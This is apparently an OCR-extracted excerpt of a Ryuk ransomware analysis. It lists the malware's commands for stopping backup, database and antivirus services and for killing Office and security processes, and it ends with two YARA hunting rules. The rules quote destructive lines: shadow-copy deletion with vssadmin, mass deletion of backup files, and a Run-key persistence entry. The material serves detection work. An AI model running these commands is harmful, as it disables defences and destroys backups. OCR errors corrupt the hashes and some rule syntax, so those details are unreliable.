stop VeeamEnterpriseManagerSvc /y
stop VeeamMountSvc /y

stop VeeamNFSSvc /y

stop VeeamRESTSvc ly

stop VeeamTransportSvc ly



stop W3Svc ly

stop wbengine ly

stop WRSVC ly

stop MSSQL$VEEAMSQL2008R2 ly
stop SQLAgent$VEEAMSQL2008R2 /y
stop VeeamHvIntegrationSvc /ly

stop swi_update /y

stop SQLAgent$CXDB /y

stop SQLAgent$CITRIX_METAFRAME /y
stop "SQL Backups" ly

stop MSSQL$PROD Jy

stop "Zoolz 2 Service" ly

stop MSSQLServerADHelper ly

stop SQLAgent$PROD Jy

stop msftesqI$PROD /y

stop NetMsmgActivator /y

stop EhttpSrv ly

stop ekrn /y

stop ESHASRV Jly

stop MSSQL$SOPHOS ly

stop SQLAgent$SOPHOS /y

stop AVP ly

stop klnagent /y

stop MSSQL$SQLEXPRESS ly

stop SQLAgent$SQLEXPRESS Jy
stop wbengine ly

stop kavfsslp /ly

stop KAVFSGT ly

stop KAVFS ly

stop mfefire /y

/IM zoolz.exe /F taskkill
/IM agntsvc.exe /F

/IM dbeng50.exe /F

/IM dbsnmp.exe /F

/IM encsvc.exe /F

/IM excel.exe /F

/IM firefoxconfig.exe /F
/IM infopath.exe /F

/IM isglplussvc.exe /F
/IM msaccess.exe /F

/IM msftesql.exe /F

/IM mspub.exe /F

/IM mydesktopgos.exe /F



/IM mydesktopservice.exe /F
/IM mysqld.exe /F

/IM mysqld-nt.exe /F
/IM mysqld-opt.exe /F
/IM ocautoupds.exe /F
/IM ocomm.exe /F
/IM ocssd.exe /F

/IM onenote.exe /F
/IM oracle.exe /F

/IM outlook.exe /F
/IM powerpnt.exe /F
/IM sqgbcoreservice.exe /F
/IM sglagent.exe /F
/IM sqlbrowser.exe /F
/IM sqlservr.exe /F
/IM sqlwriter.exe /F
/IM steam.exe /F

/IM synctime.exe /F
/IM tbirdconfig.exe /F
/IM thebat.exe /F

/IM thebat64.exe /F
/IM thunderbird.exe /F
/IM visio.exe /F

/IM winword.exe /F
/IM wordpad.exe /F
/IM xfssvccon.exe /F
/IM tmlisten.exe /F
/IM PccNTMon.exe /F
/IM CNTA0SMgr.exe /F
/IM Ntrtscan.exe /F
/IM mbamtray.exe /F

YARA Rule:

1 | rule Ryuk_Ransomware_Dropper {
meta:

description = "Ryuk Ransomware dropper hunting rule"
author = "Shayan Ahmed Khan - shaddy43"

date ="22-11-2023"

rule_version = "v1"

malware_type = "ransomware"



malware_family =""

actor_group =""

reference =""

hash =
"23F8AA94FFB3C08A62735FE7TFEES5799880A8F322CELD5S55EC49A13A3F85312DB2"

strings:

$s1 = "\\Documents and Settings\\Default User" wide

$s2 = "\\users\\Public\\" wide

$s3 ="C:\\WUsersWAdmin\\Documents\\Visual Studio 2015\\Projects From
Ryuk\\ConsoleApplication54\\x64\\Release\\ConsoleApplication54.pdb" ascii

$s4 ="vssadmin Delete Shadows /all /quiet" ascii

$s5 = "vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB" ascii

$s6 ="del /s /f /q c:\\*.VVHD c:\\*.bac c:\\*.bak c:\\*.wbcat c:\\*.bkf c:\\Backup*.*
c:\\backup*.* c:\\*.set c:\\*.win c:\\*.dsk" ascii

$s7 ="stop Antivirus /y" fullword ascii

$s8 = "/IM excel.exe /F" fullword ascii

condition:
(uintl6(0) == 0x5a4d and
filesize < 400KB and
(2 of ($s*) and
4 of them ) ) or
(all of them)

}

rule Ryuk_Ransomware {

meta:

description = "Ryuk Ransomware hunting rule"

author = "Shayan Ahmed Khan - shaddy43"

date ="22-11-2023"

rule_version ="v1"

malware_type = "ransomware"

malware_family =""

actor_group =""

reference =""

hash =
"8BOA5FB13309623C3518473551CB1F55D38D8450129D4A3C16B476F7B2867D7D"

strings:


file://///users/Public/

$s1 ="C:\\WUsers\Admin\\Documents\\Visual Studio 2015\\Projects From
Ryuk\\ConsoleApplication54\\x64\\Release\\ConsoleApplication54.pdb" ascii

$s2 ="AdjustTokenPrivileges" fullword ascii

$s3 ="vssadmin Delete Shadows /all /quiet™ ascii

$s4 = "vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB" ascii

$s5 ="del /s /f /q c:\\*.\VVHD c:\\*.bac c:\\*.bak c:\\*.wbcat c:\\*.bkf c:\\Backup*.*
c:\\backup*.* c:\\*.set c:\\*.win c:\\*.dsk" ascii

$s6 = "stop Antivirus /y" fullword ascii

$s7 ="/IM excel.exe /F" fullword ascii

$s8 = "System32\\cmd.exe" wide

$s9 ="/C REG ADD
\"HKEY_CURRENT_USER\SOFTWARE\\Microsoft\Windows\\CurrentVersion\\Run\""" wide

$s10 = "SeDebugPrivilege" fullword wide

$s11 = "\Documents and Settings\\Default User\\finish" wide

$s12 ="\users\\Public\finish" wide

$s13 = "csrss.exe" fullword wide

$s14 ="explorer.exe" fullword wide

$s15 = "Isass.exe" fullword wide

$s16 ="\\Documents and Settings\\Default User\\sys" wide

$s17 = "\\users\\Public\\sys" wide

$s18 ="UNIQUE_ID_DO_NOT_REMOVE" wide

$s19 = "\\users\\Public\\window.bat" wide

$s20 = "HERMES" wide

condition:
(uintl6(0) == Ox5a4d and
filesize < 200KB and
(1 of ($s*) and
8 of them ) ) or
(all of them)


file://///users/Public/finish
file://///users/Public/sys
file://///users/Public/window.bat

